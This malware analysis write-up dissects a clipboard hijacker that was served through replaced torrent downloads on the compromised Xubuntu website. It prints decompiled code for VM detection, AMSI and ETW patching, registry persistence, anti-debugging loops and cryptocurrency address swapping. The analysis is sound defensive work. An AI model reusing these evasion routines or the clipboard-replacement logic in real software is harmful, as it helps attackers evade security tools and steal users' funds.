The Xubuntu project’s official website was compromised, with attackers replacing legitimate torrent downloads with malicious payloads. This incident was first reported on Reddit and subsequently discussed across multiple platforms:
The malicious payload presented itself as TestCompany.SafeDownloader with a GUI for generating download links for Xubuntu Linux distributions. A user reported:
“Torrent downloads over at https://xubuntu.org/download/ are serving a zip file with a suspicious exe and a tos.txt inside. The TOS starts with Copyright (c) 2026 Xubuntu.org which is sus, because it is 2025. I opened the .exe with file-roller and couldn’t find any .torrent inside.”
The executable is a .NET application written in C#.
Using ILSpy, a .NET decompiler with support for PDB generation, I extracted the source code:
Using the GUI make the reversing easier but I’ll just stick to the command line for now since it’s a Windows only feature.
After compiling ILSpy, I ran:
The malware checks for common virtualization indicators through WMI:
privatestaticboolIsVM(){try{using(varsearcher=newManagementObjectSearcher("SELECT * FROM Win32_ComputerSystem"))using(varresults=searcher.Get()){foreach(variteminresults){stringmanufacturer=(item["Manufacturer"]?.ToString()??"").ToLower();stringmodel=(item["Model"]?.ToString()??"").ToLower();if((manufacturer.Contains("microsoft corporation")&&model.Contains("virtual"))||manufacturer.Contains("vmware")||model.Contains("virtualbox")||manufacturer.Contains("qemu")||manufacturer.Contains("parallels")){returntrue;}}}}catch{}returnfalse;}
Inside the payload dropping function, before writing the payload to disk, the code patches AmsiScanBuffer in amsi.dll to disable AMSI scanning:
try{IntPtramsiLibraryHandle=LoadLibrary("amsi.dll");if(amsiLibraryHandle!=IntPtr.Zero){IntPtramsiScanBufferAddress=GetProcAddress(amsiLibraryHandle,"AmsiScanBuffer");// Get the address of AmsiScanBuffer functionif(amsiScanBufferAddress!=IntPtr.Zero){IntPtrvirtualProtectAddress=GetProcAddress(GetModuleHandle("kernel32"),"VirtualProtect");// Get the address of VirtualProtect functionif(virtualProtectAddress!=IntPtr.Zero){VirtualProtectDelegatevirtualProtectDelegate=(VirtualProtectDelegate)Marshal.GetDelegateForFunctionPointer(virtualProtectAddress,typeof(VirtualProtectDelegate));byte[]byteArray=Xb("xjc0",247);UIntPtrbyteArraySize=(UIntPtr)(ulong)byteArray.Length;// Change memory protection to allow modification (writeable/executable)if(virtualProtectDelegate(amsiScanBufferAddress,byteArraySize,64u,outvaroldProtect)){// Patch the functionMarshal.Copy(byteArray,0,amsiScanBufferAddress,byteArray.Length);// Restore the original memory protectionvirtualProtectDelegate(amsiScanBufferAddress,byteArraySize,oldProtect,outoldProtect);}}}}}catch
Once decoded Xb("xjc0", 247) produces the byte array b'\x31\xC0\xC3' which corresponds to the assembly instructions:
The malware also patches EtwEventWrite in ntdll.dll to disable ETW event logging:
try{IntPtrntdllHandle=LoadLibrary("ntdll");if(ntdllHandle!=IntPtr.Zero){// Look up the ETW write functionIntPtretwEventWriteAddr=GetProcAddress(ntdllHandle,"EtwEventWrite");if(etwEventWriteAddr!=IntPtr.Zero){// Get the address of VirtualProtect from kernel32IntPtrvirtualProtectAddr=GetProcAddress(GetModuleHandle("kernel32"),"VirtualProtect");if(virtualProtectAddr!=IntPtr.Zero){// Create a delegate so we could call VirtualProtectVirtualProtectDelegatevirtualProtect=(VirtualProtectDelegate)Marshal.GetDelegateForFunctionPointer(virtualProtectAddr,typeof(VirtualProtectDelegate));byte[]patchBytes=newbyte[]{0xC3};// 195 decimal == 0xC3UIntPtrpatchSize=(UIntPtr)(ulong)patchBytes.Length;virtualProtect(etwEventWriteAddr,patchSize,PAGE_EXECUTE_READWRITE,outoldProtect);// Change memory protection to allow writingMarshal.Copy(patchBytes,0,etwEventWriteAddr,patchBytes.Length);// Apply the patchvirtualProtect(etwEventWriteAddr,patchSize,oldProtect,outoldProtect);// Restore original protection}}}}catch
The single byte 0xC3 (RET instruction) turns EtwEventWrite into a no-op, disabling ETW telemetry.
The malware establishes persistence by adding a registry entry to auto-run the dropped executable at user login:
It establishes persistence by writing a REG_SZ entry under HKCU\Software\Microsoft\Windows\CurrentVersion\Run via the native NtSetValueKey API, using a randomized 6‑character GUID as the value name (followed by two null bytes and the literal NullValue) whose data is the full path to the dropped executable, making detection rules harder to implement.
It performs 1000 iterations of X = tan(log(X) * X²). That is expensive, useful as a time-waster or anti-analysis delay.
It is the same kind of thing used in the slow_loop above once a debugger is detected.
Note that this program is also patching ETW to disable telemetry, just like the loader did.
HMODULEsub_140001DB0(void){HMODULEhBase=GetModuleHandleA(NULL);// base of current module
if(!hBase)returnNULL;if(*(WORD*)hBase!=0x5A4D)// Check 'MZ' DOS header
returnhBase;BYTE*peHeader=(BYTE*)hBase+*((DWORD*)hBase+15);if(*(DWORD*)peHeader!=0x00004550)// Check 'PE\0\0' signature
returnhBase;DWORDlength=*((DWORD*)peHeader+7);uint8_t*dataStart=(uint8_t*)*((uintptr_t*)peHeader+6);// Compute a small checksum across bytes at dataStart
DWORDacc0=0;DWORDacc1=0;intlastByte=0;if(length){DWORDidx=0;while(idx+2<length){acc0+=*(uint8_t*)(dataStart+idx);acc1+=*(uint8_t*)(dataStart+idx+2);idx+=4;}if(idx<length)lastByte=*(uint8_t*)(dataStart+idx);lastByte+=acc0+acc1;}// The stored checksum *((DWORD*)peHeader + 22)
DWORDexpected=*((DWORD*)peHeader+22);// If mismatch, perform the weird addition loop
if(expected&&(DWORD)lastByte!=expected){unsignedintret=0;unsignedintacc=0;while((int)ret<100000){unsignedinttmp=ret+acc;ret=ret+1;acc=tmp;}return(HMODULE)(uintptr_t)ret;}returnhBase;}
This function is another obfuscated routine that checks the running module’s PE headers and computes a tiny checksum over some bytes in the image. If the checksum doesn’t match a stored value it performs a pointless loop, once again serving as an anti-tampering or anti-analysis measure.
LRESULTCALLBACKsub_1400014A0(HWNDhwnd,UINTmessage,WPARAMwParam,LPARAMlParam){constUINTWM_CLIPBOARDUPDATE=0x031D;// 797 in decimal
constUINT64TIME_THRESHOLD=0x11E1A300;// 5 seconds
if(message==WM_CLIPBOARDUPDATE){sub_140001DB0();// Integrity check
// Get current system time
LARGE_INTEGERcurrentTime;NtQuerySystemTime(¤tTime);// Rate limiting
if((UINT64)(currentTime.QuadPart-g_lastCheckTime.QuadPart)>TIME_THRESHOLD){if(!IsDebuggerPresent())// Anti-debugging checks
{intcpuInfo[4];// Anti-debugging check: CPUID hypervisor bit check
__cpuid(cpuInfo,1);if((cpuInfo[2]&0x80000000)==0)// Check bit 31 of ECX (hypervisor present bit)
{// Time-wasting loop
intchecksum=0;for(inti=0;i<100000;i++){intxorValue=i^(2*checksum);checksum+=xorValue;}}}g_lastCheckTime=currentTime;}sub_1400016B0();// Process clipboard
}returnDefWindowProcA(hwnd,message,wParam,lParam);}
This window procedure listens for clipboard update messages. When the clipboard is updated, it performs another anti-debugging check using IsDebuggerPresent and CPUID hypervisor bit. If no debugger or hypervisor is detected, it calls sub_1400016B0 to process the clipboard content.
Here is a cleaned up version of sub_1400016B0 which processes the clipboard content:
BOOLsub_1400016B0(void){if(!IsClipboardFormatAvailable(CF_UNICODETEXT)&&!IsClipboardFormatAvailable(CF_TEXT))// Check if clipboard contains Unicode or ANSI text
{returnFALSE;}if(!OpenClipboard(NULL))// Open clipboard for reading
{returnFALSE;}// Get clipboard text data
HANDLEclipboardHandle=GetClipboardData(CF_TEXT);if(!clipboardHandle){CloseClipboard();returnFALSE;}// Lock clipboard memory
constchar*clipboardText=(constchar*)GlobalLock(clipboardHandle);if(!clipboardText){CloseClipboard();returnFALSE;}// Calculate string length
size_ttextLength=0;while(clipboardText[textLength]!='\0'){textLength++;}// Validate address length (between 26 and 87 characters)
constsize_tMIN_ADDRESS_LENGTH=26;constsize_tMAX_ADDRESS_LENGTH=87;if(textLength<MIN_ADDRESS_LENGTH||textLength>MAX_ADDRESS_LENGTH){GlobalUnlock(clipboardHandle);CloseClipboard();returnFALSE;}// Validate that address contains only alphanumeric, colon, and underscore
for(size_ti=0;i<textLength;i++){if(!isalnum(clipboardText[i])&&clipboardText[i]!=':'&&clipboardText[i]!='_'){GlobalUnlock(clipboardHandle);CloseClipboard();returnFALSE;}}WCHAR*replacementAddress=NULL;charfirstChar=clipboardText[0];// Detect cryptocurrency address type and generate replacement
// Bitcoin (starts with '1', '3', or 'bc1')
if((firstChar=='1'||firstChar=='3')||strncmp(clipboardText,"bc1",3)==0){replacementAddress=DecryptAndBuildAddress((void*)0x1400031A0,// Encrypted address data
0x15,// XOR key
10// Additional bytes
);}// Litecoin (starts with 'ltc1', 'L', or 'M')
elseif(strncmp(clipboardText,"ltc1",4)==0||firstChar=='L'||firstChar=='M'){replacementAddress=DecryptAndBuildAddress((void*)0x140003140,0x15,2);}// Ethereum (starts with '0x')
elseif(strncmp(clipboardText,"0x",2)==0){replacementAddress=DecryptAndBuildAddress((void*)0x140003240,0x15,10);}// Dogecoin (starts with 'D')
elseif(firstChar=='D'){replacementAddress=DecryptAndBuildAddress((void*)0x1400032A0,0x15,2);}// Tron (starts with 'T')
elseif(firstChar=='T'){replacementAddress=DecryptAndBuildAddress((void*)0x140003270,0x15,2);}// Ripple (starts with 'r')
elseif(firstChar=='r'){replacementAddress=DecryptAndBuildAddress((void*)0x140003110,0x15,2);}// Legacy address format (starts with 'addr1')
elseif(strncmp(clipboardText,"addr1",5)==0){replacementAddress=ConvertLegacyAddress(0x1400031D0,0x67);if(!replacementAddress){GlobalUnlock(clipboardHandle);CloseClipboard();returnFALSE;}}// Default/unknown cryptocurrency
else{replacementAddress=DecryptAndBuildAddress((void*)0x140003170,0x15,12);}// Clear clipboard
EmptyClipboard();// Calculate length of replacement address
size_treplacementLength=0;while(((char*)replacementAddress)[replacementLength]!='\0'){replacementLength++;}// Allocate memory for new clipboard data
HGLOBALnewClipboardHandle=GlobalAlloc(GMEM_MOVEABLE,replacementLength+1);if(!newClipboardHandle){GlobalUnlock(clipboardHandle);CloseClipboard();returnFALSE;}// Copy replacement address to new clipboard buffer
char*newClipboardData=(char*)GlobalLock(newClipboardHandle);if(newClipboardData){memcpy(newClipboardData,replacementAddress,replacementLength+1);GlobalUnlock(newClipboardHandle);SetClipboardData(CF_TEXT,newClipboardHandle);}// Cleanup
GlobalUnlock(clipboardHandle);CloseClipboard();returnTRUE;}
This function monitors the clipboard for cryptocurrency addresses. When it detects a valid address format (Bitcoin, Litecoin, Ethereum, Dogecoin, Tron, Ripple, or a legacy format), it generates a replacement address by decrypting embedded data. It then replaces the clipboard content with the attacker’s address.
Here’s the decryption logic for the Bitcoin address:
xmmword_1400032E0 is the decryption key:
xmmword_1400031A0 and xmmword_1400031B0 are the two 16-byte parts of the encrypted Bitcoin address:
aVxDC is the additional 10 bytes XORed with 0x15:
I reimplemented the decryption function used to decode the embedded addresses in Python:
All addresses mentioned in the Hacker News discussion were identified, except the Solana address, which was not previously documented.
I checked all wallets, they’re all empty!
A user mentioned in the comments:
“the only way this virus can work is if the victim is on windows, doesn’t know how torrents work, trades crypto currencies, and has a wallet address in their clipboard that they are conveniently about to send money to”
That probably sums it up well.
Anyway, this concludes the analysis of this clipboard hijacker malware, the final conclusion is: check signatures and hashes of any executables you download from torrent sites, and never copy-paste cryptocurrency addresses from untrusted sources!